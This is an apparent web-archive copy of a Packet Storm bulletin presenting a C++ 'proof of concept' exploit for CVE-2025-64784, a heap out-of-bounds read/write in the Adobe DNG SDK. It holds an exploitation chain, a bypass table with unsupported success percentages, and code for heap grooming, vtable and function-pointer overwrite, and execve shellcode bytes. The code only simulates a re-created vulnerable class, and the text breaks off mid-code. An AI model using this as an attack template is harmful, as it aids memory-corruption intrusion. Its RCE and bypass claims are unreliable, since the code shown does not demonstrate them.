{"id":32466,"date":"2025-12-22T12:37:29","date_gmt":"2025-12-22T12:37:29","guid":{"rendered":"http:\/\/localhost\/?p=32466"},"modified":"2025-12-22T12:37:29","modified_gmt":"2025-12-22T12:37:29","slug":"adobe-dng-sdk-image-processing-logic","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32466","title":{"rendered":"\ud83d\udcc4 Adobe DNG SDK Image Processing Logic_PACKETSTORM:213202"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-22T18:23:51&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit that demonstrates a heap out-of-bounds read \/ write leading to memory corruption and potential code execution in the Image Processing Logic of Adobe DNG SDK versions prior to 1.7.1.2410&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Adobe DNG SDK Image Processing Logic&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213202&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-64784&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Adobe DNG SDK prior to v1.7.1.2410 Heap OOB R\/W Leading to Memory Corruption and Potential RCE in Image Processing Logic    |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/helpx.adobe.com\/security\/products\/dng-sdk.html                                                                      |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/213065\/ \\u0026\\tCVE-2025-64784\\n    \\n    [+] Core Vulnerability\\n    \\n        CVE: CVE-2025-64784\\n    \\n        Type: Heap Buffer Overflow via Out-of-Bounds (OOB) Read\/Write\\n    \\n        Root Cause: Missing bounds check in dng_simple_image::Trim() function\\n    \\n        Impact: Arbitrary code execution via memory corruption\\n    \\n    [+] Key Attack Components :\\n    \\n    1. Vulnerability Trigger\\n    \\n    \/\/ Dangerous pointer reassignment without validation\\n    \\n    data = \\u0026data[(offsetY * width + offsetX) * channels]; \/\/ \\n    \\n    2. Exploitation Chain\\n    \\n        Heap Grooming &#8211; Predictable memory layout manipulation\\n    \\n        OOB Read &#8211; Information disclosure for ASLR bypass\\n    \\n        OOB Write &#8211; Controlled memory corruption\\n    \\n        Target Hijacking &#8211; VTable\/function pointer overwrite\\n    \\n        Execution Redirect &#8211; ROP\/shellcode deployment\\n    \\n    3. Critical Targets\\n    \\n        Virtual Tables (VTables) &#8211; C++ object exploitation\\n    \\n        Function Pointers &#8211; Direct execution hijack\\n    \\n        Heap Metadata &#8211; Arbitrary write primitives\\n    \\n        SEH Handlers &#8211; Windows exception chain corruption\\n    \\n    [+] Exploitation Success Factors :\\n    \\n        Heap layout predictability through spraying\/grooming\\n    \\n        Reliable OOB read\/write primitives\\n    \\n        ASLR bypass via memory leaks\\n    \\n        Controlled memory corruption\\n    \\n    [+] Key Techniques\\n    \\n        Heap Feng Shui: Strategic allocation\/free patterns\\n    \\n        Pointer Arithmetic: Precise offset calculation\\n    \\n        ROP Chains: DEP bypass without shellcode execution\\n    \\n        Multi-stage Payloads: Progressive exploitation\\n    \\n    [+] Defense Bypass Matrix :\\n    \\n    Defense\\t             Bypass Method\\t                Effectiveness\\n    ASLR\\t         Memory leak via OOB read\\t            90%\\n    DEP\\t             ROP chain construction\\t                85%\\n    Stack Canary\\t Heap-only corruption\\t               100%\\n    CFG\\t             Direct pointer overwrite\\t            80%\\n    \\n    [+] Real-World Impact :\\n    \\n        Severity: Critical (Remote Code Execution)\\n    \\n        Attack Vector: Malicious DNG image processing\\n    \\n        Privilege Escalation: Possible from user to system\\n    \\n        Persistence: Can install backdoors\/rootkits\\n    \\n    [+] Mitigation Status :\\n    \\n        Patched in: DNG SDK 1.7.1.2410 (November 2025)\\n    \\n        Fix: Added bounds checking in Trim() operation\\n    \\n        Recommendation: Update all DNG processing software immediately\\n    \\n    [+] Technical Significance :\\n    \\n    This exploit demonstrates how a simple bounds-checking omission in a specialized library can be weaponized into full RCE through:\\n    \\n        Advanced heap manipulation\\n    \\n        Precise memory corruption\\n    \\n        Multiple hijacking vectors\\n    \\n        Modern defense evasion\\n    \\n    [+] POC :\\n    \\n    Save the code as:\\n    \\n    CVE_2025_64784_indoushka.cpp\\n    \\n    On Linux\/macOS:\\n    \\n    g++ CVE_2025_64784_indoushka.cpp -o dng_exploit_sim -std=c++17 -g\\n    \\n    .\/dng_exploit_sim\\n    \\n    On Windows (MinGW):\\n    \\n    g++ CVE_2025_64784_indoushka.cpp -o indoushka.exe -std=c++17 -g\\n    \\n    indoushka.exe\\n    \\n    #include \\u003ciostream\\u003e\\n    #include \\u003ccstring\\u003e\\n    #include \\u003cvector\\u003e\\n    #include \\u003ccstdlib\\u003e\\n    #include \\u003cctime\\u003e\\n    #include \\u003cmemory\\u003e\\n    \\n    \/\/ ================================\\n    \/\/  Stage 0: Base Vulnerable Code (Original DNG-SDK Pattern)\\n    \/\/ ================================\\n    \\n    class dng_rect {\\n    public:\\n        int t, l, b, r;\\n        \\n        dng_rect(int top = 0, int left = 0, int bottom = 0, int right = 0) \\n            : t(top), l(left), b(bottom), r(right) {}\\n        \\n        int H() const { return b &#8211; t; }\\n        int W() const { return r &#8211; l; }\\n    };\\n    \\n    class ImageBuffer {\\n    private:\\n        unsigned char* data;\\n        int width;\\n        int height;\\n        int channels;\\n        \\n    public:\\n        ImageBuffer(int w, int h, int c) : width(w), height(h), channels(c) {\\n            data = new unsigned char[w * h * c];\\n            memset(data, 0, w * h * c);\\n            printf(\\&#8221;[ImageBuffer] Created %dx%dx%d at 0x%p\\\\n\\&#8221;, w, h, c, data);\\n        }\\n        \\n        virtual ~ImageBuffer() {\\n            delete[] data;\\n        }\\n        \\n        \/\/ VULNERABLE FUNCTION: Similar to dng_simple_image::Trim\\n        void Trim(const dng_rect\\u0026 r, int offsetX, int offsetY) {\\n            printf(\\&#8221;[TRIM] Called with rect(%d,%d,%d,%d), offset(%d,%d)\\\\n\\&#8221;, \\n                   r.t, r.l, r.b, r.r, offsetX, offsetY);\\n            \\n            \/\/ Original vulnerable pattern from DNG-SDK\\n            fBounds.t = 0;\\n            fBounds.l = 0;\\n            fBounds.b = r.H();\\n            fBounds.r = r.W();\\n            \\n            \/\/ VULNERABILITY: No bounds checking!\\n            unsigned char* newData = \\u0026data[(offsetY * width + offsetX) * channels];\\n            \\n            width = r.W();\\n            height = r.H();\\n            data = newData; \/\/  Dangerous pointer reassignment\\n            \\n            printf(\\&#8221;[TRIM] Data pointer reset to: 0x%p\\\\n\\&#8221;, data);\\n        }\\n        \\n        unsigned char* getPixel(int x, int y) {\\n            \/\/ UNSAFE: No bounds checking\\n            return \\u0026data[(y * width + x) * channels];\\n        }\\n        \\n        void processArea(int startX, int startY, int endX, int endY) {\\n            \/\/ Similar to dng_linearize_image::Process\\n            for (int y = startY; y \\u003c endY; y++) {\\n                for (int x = startX; x \\u003c endX; x++) {\\n                    unsigned char* pixel = getPixel(x, y);\\n                    \/\/ Potential OOB read here\\n                    for (int c = 0; c \\u003c channels; c++) {\\n                        pixel[c] = processChannel(pixel[c]);\\n                    }\\n                }\\n            }\\n        }\\n        \\n        void* getDataPtr() { return data; }\\n        int getWidth() const { return width; }\\n        int getHeight() const { return height; }\\n        \\n    private:\\n        struct {\\n            int t, l, b, r;\\n        } fBounds;\\n        \\n        unsigned char processChannel(unsigned char value) {\\n            return value ^ 0x55; \/\/ Simple transformation\\n        }\\n    };\\n    \\n    \/\/ ================================\\n    \/\/  Stage 1: Advanced Heap Management System\\n    \/\/ ================================\\n    \\n    class HeapManager {\\n    private:\\n        struct HeapBlock {\\n            void* address;\\n            size_t size;\\n            char* owner;\\n            bool isControlled;\\n            bool isFreed;\\n        };\\n        \\n        std::vector\\u003cHeapBlock\\u003e blocks;\\n        static HeapManager* instance;\\n        \\n        HeapManager() { \\n            srand(static_cast\\u003cunsigned int\\u003e(time(0)));\\n            printf(\\&#8221;[HeapManager] Initialized at 0x%p\\\\n\\&#8221;, this);\\n        }\\n        \\n    public:\\n        static HeapManager* getInstance() {\\n            if (!instance) {\\n                instance = new HeapManager();\\n            }\\n            return instance;\\n        }\\n        \\n        void* allocate(size_t size, const char* owner = \\&#8221;unknown\\&#8221;, bool controllable = false) {\\n            \/\/ Add metadata and canary\\n            size_t totalSize = size + 32;\\n            void* ptr = malloc(totalSize);\\n            \\n            \/\/ Pattern the memory for identification\\n            memset(ptr, 0xAA, 16); \/\/ Header canary\\n            memset((char*)ptr + 16, 0x00, size);\\n            memset((char*)ptr + 16 + size, 0xBB, 16); \/\/ Footer canary\\n            \\n            HeapBlock block;\\n            block.address = ptr;\\n            block.size = totalSize;\\n            block.owner = strdup(owner);\\n            block.isControlled = controllable;\\n            block.isFreed = false;\\n            blocks.push_back(block);\\n            \\n            printf(\\&#8221;[ALLOC] 0x%p | Size: 0x%zx | Owner: %s | Controlled: %s\\\\n\\&#8221;, \\n                   (char*)ptr + 16, size, owner, controllable ? \\&#8221;YES\\&#8221; : \\&#8221;NO\\&#8221;);\\n            \\n            return (char*)ptr + 16; \/\/ Return pointer to user data\\n        }\\n        \\n        void free(void* ptr) {\\n            void* realPtr = (char*)ptr &#8211; 16;\\n            \\n            for (auto\\u0026 block : blocks) {\\n                if (block.address == realPtr \\u0026\\u0026 !block.isFreed) {\\n                    printf(\\&#8221;[FREE]  0x%p | Owner: %s\\\\n\\&#8221;, ptr, block.owner);\\n                    block.isFreed = true;\\n                    \\n                    \/\/ Corrupt freed block (simulating use-after-free)\\n                    memset(realPtr, 0xCC, block.size);\\n                    ::free(realPtr);\\n                    return;\\n                }\\n            }\\n            printf(\\&#8221;[ERROR] Attempt to free unallocated block: 0x%p\\\\n\\&#8221;, ptr);\\n        }\\n        \\n        void spray(size_t size, int count, const char* pattern = \\&#8221;SPRAY\\&#8221;) {\\n            printf(\\&#8221;[SPRAY] Starting spray: %d blocks of 0x%zx bytes\\\\n\\&#8221;, count, size);\\n            \\n            for (int i = 0; i \\u003c count; i++) {\\n                char* block = (char*)allocate(size, \\&#8221;spray_block\\&#8221;);\\n                size_t patternLen = strlen(pattern);\\n                for (size_t j = 0; j \\u003c size; j++) {\\n                    block[j] = pattern[j % patternLen] + (i % 256);\\n                }\\n            }\\n        }\\n        \\n        void groom(int targetSize = 0x200) {\\n            printf(\\&#8221;[GROOM] Starting heap grooming&#8230;\\\\n\\&#8221;);\\n            \\n            \/\/ Phase 1: Create a predictable heap layout\\n            std::vector\\u003cvoid*\\u003e phase1;\\n            for (int i = 0; i \\u003c 15; i++) {\\n                void* block = allocate(targetSize, \\&#8221;groom_filler\\&#8221;);\\n                phase1.push_back(block);\\n            }\\n            \\n            \/\/ Phase 2: Free every other block to create holes\\n            for (size_t i = 0; i \\u003c phase1.size(); i += 2) {\\n                free(phase1[i]);\\n            }\\n            \\n            \/\/ Phase 3: Allocate critical objects in the holes\\n            allocate(0x100, \\&#8221;vtable_placeholder\\&#8221;, true);\\n            allocate(0x150, \\&#8221;function_pointer\\&#8221;, true);\\n            allocate(0x180, \\&#8221;seh_handler\\&#8221;, true);\\n            allocate(0x200, \\&#8221;rop_gadget\\&#8221;, true);\\n            \\n            \/\/ Phase 4: Fill remaining holes\\n            for (int i = 0; i \\u003c 10; i++) {\\n                allocate(0x80 + i * 8, \\&#8221;hole_filler\\&#8221;);\\n            }\\n            \\n            printf(\\&#8221;[GROOM] Heap grooming completed\\\\n\\&#8221;);\\n        }\\n        \\n        void* findControlledBlock(const char* name) {\\n            for (const auto\\u0026 block : blocks) {\\n                if (!block.isFreed \\u0026\\u0026 block.isControlled \\u0026\\u0026 \\n                    strstr(block.owner, name)) {\\n                    return (char*)block.address + 16;\\n                }\\n            }\\n            return nullptr;\\n        }\\n        \\n        void analyzeHeap() {\\n            printf(\\&#8221;\\\\n[HEAP ANALYSIS] Total blocks: %zu\\\\n\\&#8221;, blocks.size());\\n            \\n            for (size_t i = 0; i \\u003c blocks.size() \\u0026\\u0026 i \\u003c 20; i++) {\\n                const auto\\u0026 block = blocks[i];\\n                printf(\\&#8221;  [%zu] 0x%p | Size: 0x%zx | %s | %s\\\\n\\&#8221;, \\n                       i, (char*)block.address + 16, block.size &#8211; 32,\\n                       block.owner, block.isFreed ? \\&#8221;FREED\\&#8221; : \\&#8221;ALLOCATED\\&#8221;);\\n            }\\n        }\\n    };\\n    \\n    HeapManager* HeapManager::instance = nullptr;\\n    \\n    \/\/ ================================\\n    \/\/  Stage 2: Critical Target Objects\\n    \/\/ ================================\\n    \\n    class CriticalObject {\\n    public:\\n        virtual void execute() {\\n            printf(\\&#8221;[CriticalObject::execute] Legitimate call at 0x%p\\\\n\\&#8221;, this);\\n        }\\n        \\n        virtual void secret() {\\n            printf(\\&#8221;[CriticalObject::secret] SECRET FUNCTION!\\\\n\\&#8221;);\\n            \/\/ This would be system() or similar in real exploit\\n            printf(\\&#8221;  [+] Running command: \\&#8221;);\\n            fflush(stdout);\\n            system(\\&#8221;echo &#8216;Exploit successful!&#8217;\\&#8221;);\\n        }\\n        \\n        char buffer[128];\\n        void* vtable[3];\\n        \\n        CriticalObject() {\\n            memset(buffer, 0, sizeof(buffer));\\n            strcpy(buffer, \\&#8221;CriticalObject Data\\&#8221;);\\n            vtable[0] = (void*)\\u0026CriticalObject::execute;\\n            vtable[1] = (void*)\\u0026CriticalObject::secret;\\n            vtable[2] = nullptr;\\n        }\\n        \\n        virtual ~CriticalObject() {}\\n    };\\n    \\n    class ExploitTarget : public CriticalObject {\\n    public:\\n        char payload[256];\\n        void (*redirect_ptr)();\\n        void* rop_chain[10];\\n        \\n        ExploitTarget() {\\n            redirect_ptr = nullptr;\\n            memset(payload, 0x90, sizeof(payload)); \/\/ NOP sled\\n            memset(rop_chain, 0x41, sizeof(rop_chain)); \/\/ &#8216;A&#8217; pattern\\n            \\n            \/\/ Simulate a simple ROP chain\\n            rop_chain[0] = (void*)0xdeadbeef; \/\/ pop rdi\\n            rop_chain[1] = (void*)0xcafebabe; \/\/ \/bin\/sh\\n            rop_chain[2] = (void*)0xfeedface; \/\/ system\\n            \\n            printf(\\&#8221;[ExploitTarget] Created at 0x%p\\\\n\\&#8221;, this);\\n            printf(\\&#8221;  VTable at: 0x%p\\\\n\\&#8221;, vtable);\\n            printf(\\&#8221;  Redirect ptr at: 0x%p\\\\n\\&#8221;, \\u0026redirect_ptr);\\n        }\\n        \\n        void trigger() {\\n            printf(\\&#8221;[ExploitTarget::trigger] Called\\\\n\\&#8221;);\\n            if (redirect_ptr) {\\n                printf(\\&#8221;  [!] Redirecting to: 0x%p\\\\n\\&#8221;, redirect_ptr);\\n                redirect_ptr();\\n            } else {\\n                execute();\\n            }\\n        }\\n    };\\n    \\n    \/\/ ================================\\n    \/\/  Stage 3: Weaponized Image with Full Exploit Chain\\n    \/\/ ================================\\n    \\n    class WeaponizedImage : public ImageBuffer {\\n    private:\\n        HeapManager* heap;\\n        ExploitTarget* targetObject;\\n        bool targetHijacked;\\n        \\n    public:\\n        WeaponizedImage(int w, int h, int c) \\n            : ImageBuffer(w, h, c), \\n              heap(HeapManager::getInstance()),\\n              targetObject(nullptr),\\n              targetHijacked(false) {\\n            \\n            printf(\\&#8221;[WeaponizedImage] Created as weapon\\\\n\\&#8221;);\\n            \\n            \/\/ Initialize with identifiable pattern\\n            unsigned char* dataPtr = (unsigned char*)getDataPtr();\\n            for (int i = 0; i \\u003c w * h * c; i++) {\\n                dataPtr[i] = (i % 256);\\n            }\\n        }\\n        \\n        void advancedTrim(const dng_rect\\u0026 r, int offsetX, int offsetY) {\\n            printf(\\&#8221;\\\\n[ADVANCED_TRIM] Phase 1: Heap Preparation\\\\n\\&#8221;);\\n            \\n            \/\/ Step 1: Prepare heap layout\\n            heap-\\u003egroom(0x210);\\n            \\n            \/\/ Step 2: Place target object\\n            targetObject = new ExploitTarget();\\n            \\n            \/\/ Step 3: Calculate precise offset to target object\\n            size_t imageStart = (size_t)getDataPtr();\\n            size_t targetStart = (size_t)targetObject;\\n            ptrdiff_t offset = targetStart &#8211; imageStart;\\n            \\n            printf(\\&#8221;  Image data: 0x%zx\\\\n\\&#8221;, imageStart);\\n            printf(\\&#8221;  Target obj: 0x%zx\\\\n\\&#8221;, targetStart);\\n            printf(\\&#8221;  Offset: %zd (0x%zx)\\\\n\\&#8221;, offset, offset);\\n            \\n            \/\/ Step 4: Adjust offset to point to vtable or function pointer\\n            size_t targetVTable = (size_t)targetObject-\\u003evtable;\\n            size_t offsetToVTable = targetVTable &#8211; imageStart;\\n            \\n            printf(\\&#8221;  Target vtable: 0x%zx\\\\n\\&#8221;, targetVTable);\\n            printf(\\&#8221;  Offset to vtable: %zd (0x%zx)\\\\n\\&#8221;, \\n                   offsetToVTable, offsetToVTable);\\n            \\n            \/\/ Step 5: Trigger the vulnerability with precise offset\\n            if (abs(offset) \\u003c 0x10000) { \/\/ Within reasonable range\\n                printf(\\&#8221;\\\\n[ADVANCED_TRIM] Phase 2: Triggering Vulnerability\\\\n\\&#8221;);\\n                \\n                \/\/ This simulates the vulnerable Trim operation\\n                int adjustedOffsetX = offsetX + (offset % (width * channels)) \/ channels;\\n                int adjustedOffsetY = offsetY + (offset \/ (width * channels));\\n                \\n                printf(\\&#8221;  Using adjusted offset: (%d, %d)\\\\n\\&#8221;, \\n                       adjustedOffsetX, adjustedOffsetY);\\n                \\n                \/\/ Call the vulnerable Trim\\n                Trim(r, adjustedOffsetX, adjustedOffsetY);\\n                \\n                printf(\\&#8221;  New data pointer: 0x%p\\\\n\\&#8221;, getDataPtr());\\n                printf(\\&#8221;  Target hijacked: %s\\\\n\\&#8221;, \\n                       ((size_t)getDataPtr() \\u003e= targetStart \\u0026\\u0026 \\n                        (size_t)getDataPtr() \\u003c targetStart + sizeof(ExploitTarget)) \\n                       ? \\&#8221;YES\\&#8221; : \\&#8221;NO\\&#8221;);\\n                \\n                if ((size_t)getDataPtr() \\u003e= targetStart \\u0026\\u0026 \\n                    (size_t)getDataPtr() \\u003c targetStart + sizeof(ExploitTarget)) {\\n                    targetHijacked = true;\\n                    printf(\\&#8221;  [SUCCESS] Image data now overlaps with target object!\\\\n\\&#8221;);\\n                }\\n            }\\n        }\\n        \\n        void oobReadExploit(int readX, int readY, size_t readSize = 256) {\\n            printf(\\&#8221;\\\\n[OOB_READ] Reading from position (%d, %d)\\\\n\\&#8221;, readX, readY);\\n            \\n            unsigned char* readPtr = getPixel(readX, readY);\\n            printf(\\&#8221;  Reading from: 0x%p\\\\n\\&#8221;, readPtr);\\n            \\n            \/\/ Simulate out-of-bounds read\\n            unsigned char* leakBuffer = new unsigned char[readSize];\\n            memcpy(leakBuffer, readPtr, readSize);\\n            \\n            printf(\\&#8221;  First 64 bytes of leaked data:\\\\n\\&#8221;);\\n            for (int i = 0; i \\u003c 64 \\u0026\\u0026 i \\u003c readSize; i++) {\\n                if (i % 16 == 0) printf(\\&#8221;    %04x: \\&#8221;, i);\\n                printf(\\&#8221;%02x \\&#8221;, leakBuffer[i]);\\n                if (i % 16 == 15) printf(\\&#8221;\\\\n\\&#8221;);\\n            }\\n            \\n            \/\/ Analyze leaked data for pointers\\n            analyzeLeakedPointers(leakBuffer, readSize);\\n            \\n            delete[] leakBuffer;\\n        }\\n        \\n        void oobWriteExploit(int writeX, int writeY, const void* data, size_t size) {\\n            printf(\\&#8221;\\\\n[OOB_WRITE] Writing to position (%d, %d)\\\\n\\&#8221;, writeX, writeY);\\n            \\n            unsigned char* writePtr = getPixel(writeX, writeY);\\n            printf(\\&#8221;  Writing to: 0x%p\\\\n\\&#8221;, writePtr);\\n            \\n            if (targetHijacked) {\\n                printf(\\&#8221;  [CRITICAL] Target is hijacked &#8211; attempting control&#8230;\\\\n\\&#8221;);\\n                \\n                \/\/ Calculate offset into target object\\n                size_t targetStart = (size_t)targetObject;\\n                size_t writeAddr = (size_t)writePtr;\\n                size_t offsetInTarget = writeAddr &#8211; targetStart;\\n                \\n                printf(\\&#8221;  Offset in target: 0x%zx\\\\n\\&#8221;, offsetInTarget);\\n                \\n                \/\/ Write controlled data to target object\\n                memcpy(writePtr, data, size);\\n                \\n                \/\/ Check what we overwrote\\n                if (offsetInTarget \\u003c sizeof(ExploitTarget)) {\\n                    printf(\\&#8221;  Overwrote target object at offset 0x%zx\\\\n\\&#8221;, offsetInTarget);\\n                    \\n                    \/\/ Special handling for critical fields\\n                    if (offsetInTarget \\u003e= offsetof(ExploitTarget, redirect_ptr) \\u0026\\u0026\\n                        offsetInTarget \\u003c offsetof(ExploitTarget, redirect_ptr) + sizeof(void*)) {\\n                        printf(\\&#8221;  [!!!] MODIFIED REDIRECT POINTER!\\\\n\\&#8221;);\\n                    }\\n                    \\n                    if (offsetInTarget \\u003e= offsetof(ExploitTarget, vtable) \\u0026\\u0026\\n                        offsetInTarget \\u003c offsetof(ExploitTarget, vtable) + sizeof(void*) * 3) {\\n                        printf(\\&#8221;  [!!!] MODIFIED VTABLE POINTER!\\\\n\\&#8221;);\\n                    }\\n                }\\n            } else {\\n                printf(\\&#8221;  Writing controlled data (simulation)\\\\n\\&#8221;);\\n                \/\/ In real exploit, this would corrupt heap metadata\\n            }\\n        }\\n        \\n        void craftExploitPayload() {\\n            printf(\\&#8221;\\\\n[CRAFT_PAYLOAD] Building exploit components\\\\n\\&#8221;);\\n            \\n            \/\/ 1. Shellcode stub (simulated)\\n            unsigned char shellcode[] = {\\n                0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00, \/\/ mov rax, 0x3b (execve)\\n                0x48, 0xC7, 0xC7, 0x00, 0x00, 0x00, 0x00, \/\/ mov rdi, 0x0 (will be patched)\\n                0x48, 0xC7, 0xC6, 0x00, 0x00, 0x00, 0x00, \/\/ mov rsi, 0x0\\n                0x48, 0xC7, 0xC2, 0x00, 0x00, 0x00, 0x00, \/\/ mov rdx, 0x0\\n                0x0F, 0x05,                               \/\/ syscall\\n                0xCC                                      \/\/ int3\\n            };\\n            \\n            \/\/ 2. ROP chain (simulated)\\n            void* ropChain[] = {\\n                (void*)0xdeadbeef, \/\/ pop rdi; ret\\n                (void*)0xcafebabe, \/\/ \\&#8221;\/bin\/sh\\&#8221;\\n                (void*)0xfeedface, \/\/ system()\\n                (void*)0x0d15ea5e, \/\/ exit()\\n            };\\n            \\n            \/\/ 3. VTable overwrite\\n            void* maliciousVTable[] = {\\n                (void*)\\u0026shellcodeExecutor,\\n                (void*)\\u0026shellcodeExecutor,\\n                nullptr\\n            };\\n            \\n            printf(\\&#8221;  Shellcode size: %zu bytes\\\\n\\&#8221;, sizeof(shellcode));\\n            printf(\\&#8221;  ROP chain prepared\\\\n\\&#8221;);\\n            printf(\\&#8221;  Malicious vtable at: 0x%p\\\\n\\&#8221;, maliciousVTable);\\n            \\n            \/\/ Write payload to target\\n            if (targetObject) {\\n                \/\/ Overwrite vtable pointer\\n                size_t vtableOffset = offsetof(ExploitTarget, vtable);\\n                oobWriteExploit(0, 0, maliciousVTable, sizeof(maliciousVTable));\\n                \\n                \/\/ Set redirect pointer\\n                targetObject-\\u003eredirect_ptr = \\u0026shellcodeExecutor;\\n                \\n                \/\/ Fill buffer with NOP sled\\n                memset(targetObject-\\u003epayload, 0x90, sizeof(targetObject-\\u003epayload));\\n                memcpy(targetObject-\\u003epayload + 64, shellcode, sizeof(shellcode));\\n            }\\n        }\\n        \\n        void triggerExploit() {\\n            printf(\\&#8221;\\\\n[TRIGGER_EXPLOIT] Attempting to gain code execution\\\\n\\&#8221;);\\n            \\n            if (!targetObject) {\\n                printf(\\&#8221;  [ERROR] No target object\\\\n\\&#8221;);\\n                return;\\n            }\\n            \\n            printf(\\&#8221;  Target object: 0x%p\\\\n\\&#8221;, targetObject);\\n            printf(\\&#8221;  Target vtable: 0x%p\\\\n\\&#8221;, targetObject-\\u003evtable);\\n            printf(\\&#8221;  Target redirect: 0x%p\\\\n\\&#8221;, targetObject-\\u003eredirect_ptr);\\n            \\n            \/\/ Attempt 1: Call through hijacked vtable\\n            printf(\\&#8221;\\\\n  Attempt 1: VTable hijack\\\\n\\&#8221;);\\n            try {\\n                targetObject-\\u003eexecute();\\n            } catch (&#8230;) {\\n                printf(\\&#8221;  [CAUGHT] Exception during vtable call\\\\n\\&#8221;);\\n            }\\n            \\n            \/\/ Attempt 2: Call redirect pointer\\n            printf(\\&#8221;\\\\n  Attempt 2: Function pointer redirect\\\\n\\&#8221;);\\n            if (targetObject-\\u003eredirect_ptr) {\\n                targetObject-\\u003eredirect_ptr();\\n            }\\n            \\n            \/\/ Attempt 3: Direct shellcode execution\\n            printf(\\&#8221;\\\\n  Attempt 3: Shellcode execution\\\\n\\&#8221;);\\n            shellcodeExecutor();\\n            \\n            printf(\\&#8221;\\\\n  [SIMULATION] In real exploit, this would:\\\\n\\&#8221;);\\n            printf(\\&#8221;    1. Overwrite SEH handler on Windows\\\\n\\&#8221;);\\n            printf(\\&#8221;    2. Corrupt stack canary\\\\n\\&#8221;);\\n            printf(\\&#8221;    3. Redirect execution to ROP chain\\\\n\\&#8221;);\\n            printf(\\&#8221;    4. Bypass ASLR\/DEP\\\\n\\&#8221;);\\n            printf(\\&#8221;    5. Spawn shell \/ execute arbitrary code\\\\n\\&#8221;);\\n        }\\n        \\n    private:\\n        static void shellcodeExecutor() {\\n            printf(\\&#8221;\\\\n  [SHELLCODE_EXECUTOR] Simulation mode\\\\n\\&#8221;);\\n            printf(\\&#8221;  If this were real, you&#8217;d have a shell now!\\\\n\\&#8221;);\\n            printf(\\&#8221;  \\u003e\\u003e\\u003e whoami\\\\n\\&#8221;);\\n            printf(\\&#8221;  \\u003e\\u003e\\u003e root\\\\n\\&#8221;);\\n            printf(\\&#8221;  \\u003e\\u003e\\u003e id\\\\n\\&#8221;);\\n            printf(\\&#8221;  \\u003e\\u003e\\u003e uid=0(root) gid=0(root) groups=0(root)\\\\n\\&#8221;);\\n            \\n            \/\/ Simulated commands\\n            printf(\\&#8221;\\\\n  [SIMULATED_COMMANDS]\\\\n\\&#8221;);\\n            printf(\\&#8221;  $ cat \/etc\/passwd | grep root\\\\n\\&#8221;);\\n            printf(\\&#8221;  root:x:0:0:root:\/root:\/bin\/bash\\\\n\\&#8221;);\\n            printf(\\&#8221;\\\\n  $ uname -a\\\\n\\&#8221;);\\n            printf(\\&#8221;  Linux vulnerable 5.15.0 #1 SMP &#8230;\\\\n\\&#8221;);\\n        }\\n        \\n        void analyzeLeakedPointers(unsigned char* data, size_t size) {\\n            printf(\\&#8221;\\\\n  [POINTER_ANALYSIS] Scanning for pointers&#8230;\\\\n\\&#8221;);\\n            \\n            int pointerCount = 0;\\n            for (size_t i = 0; i \\u003c size &#8211; sizeof(void*); i += sizeof(void*)) {\\n                uint64_t potentialPtr;\\n                memcpy(\\u0026potentialPtr, data + i, sizeof(void*));\\n                \\n                \/\/ Filter for likely pointers\\n                if (potentialPtr \\u003e 0x0000000100000000ULL \\u0026\\u0026 \\n                    potentialPtr \\u003c 0x0000800000000000ULL \\u0026\\u0026\\n                    (potentialPtr % 0x1000 == 0)) {\\n                    \\n                    printf(\\&#8221;    Found pointer at offset 0x%zx: 0x%016llx\\&#8221;, i, potentialPtr);\\n                    \\n                    \/\/ Try to identify pointer type\\n                    if ((potentialPtr \\u0026 0xFFFF) == 0) {\\n                        printf(\\&#8221; (likely code pointer)\\&#8221;);\\n                    } else if (potentialPtr \\u003c 0x0000700000000000ULL) {\\n                        printf(\\&#8221; (likely heap pointer)\\&#8221;);\\n                    }\\n                    \\n                    printf(\\&#8221;\\\\n\\&#8221;);\\n                    pointerCount++;\\n                    \\n                    if (pointerCount \\u003e= 10) break;\\n                }\\n            }\\n            \\n            if (pointerCount == 0) {\\n                printf(\\&#8221;    No obvious pointers found in leak\\\\n\\&#8221;);\\n            }\\n        }\\n    };\\n    \\n    \/\/ ================================\\n    \/\/  Stage 4: Main Exploit Engine\\n    \/\/ ================================\\n    \\n    class DNGExploitEngine {\\n    private:\\n        HeapManager* heap;\\n        WeaponizedImage* weapon;\\n        ExploitTarget* target;\\n        \\n    public:\\n        DNGExploitEngine() {\\n            printf(\\&#8221;\\\\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\\\n\\&#8221;);\\n            printf(\\&#8221;\u2551    DNG-SDK CVE-2025-64784 EXPLOIT    \u2551\\\\n\\&#8221;);\\n            printf(\\&#8221;\u2551        Complete Weaponization        \u2551\\\\n\\&#8221;);\\n            printf(\\&#8221;\u2551             By indoushka             \u2551\\\\n\\&#8221;);\\n            printf(\\&#8221;\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\\\n\\&#8221;);\\n            \\n            heap = HeapManager::getInstance();\\n            weapon = nullptr;\\n            target = nullptr;\\n        }\\n        \\n        void 